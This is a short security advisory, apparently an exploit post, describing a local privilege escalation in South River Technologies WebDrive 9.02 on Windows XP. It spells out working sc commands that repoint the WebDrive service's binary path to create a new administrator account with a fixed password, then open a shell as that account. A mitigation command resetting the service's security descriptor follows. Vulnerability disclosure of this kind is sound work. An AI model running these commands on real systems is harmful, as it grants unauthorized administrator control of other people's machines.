South River Technologies WebDrive Service Bad Security Descriptor Local Elevation Of Privileges by Nine:Situations:Group::bellick site: http://retrogod.altervista.org/ Software site: http://www.webdrive.com/ Download location: http://www.webdrive.com/download/index.html Tested against: South River Technologies WebDrive 9.02 build 2232 on Microsoft Windows XP SP3 The "WebDrive Service" is installed with an empty security descriptor. A malicious user can stop the service, then invoke the "sc config" command to replace the binary path with a value of choice, then restart the service to run the command with SYSTEM privileges ex., run theese commands as a limited user: sc stop WebDriveService sc config WebDriveService binPath= "cmd /c net user southriver kills /add && net localgroup Administrators southriver /add" sc start WebDriveService runas /noprofile /user:%COMPUTERNAME%\southriver cmd now login as administrator with password "kills" mitigation: the security descriptor of the service is like this: C:\>sc sdshow WebDriveService D: change the security descriptor like the following: c:\sc sdset WebDriveService D:(A;;CCLCSWLOCRRC;;;AU)(A;;CCLCSWRPLOCRRC;;;PU)(A;;CCDCLCSWRPWPDTLOCRSD RCWDWO;;;BA)(A;;CCLCSWRPWPDTLOCRRC;;;SY) [SC] SetServiceObjectSecurity SUCCESS original url: http://retrogod.altervista.org/9sg_south_river_priv.html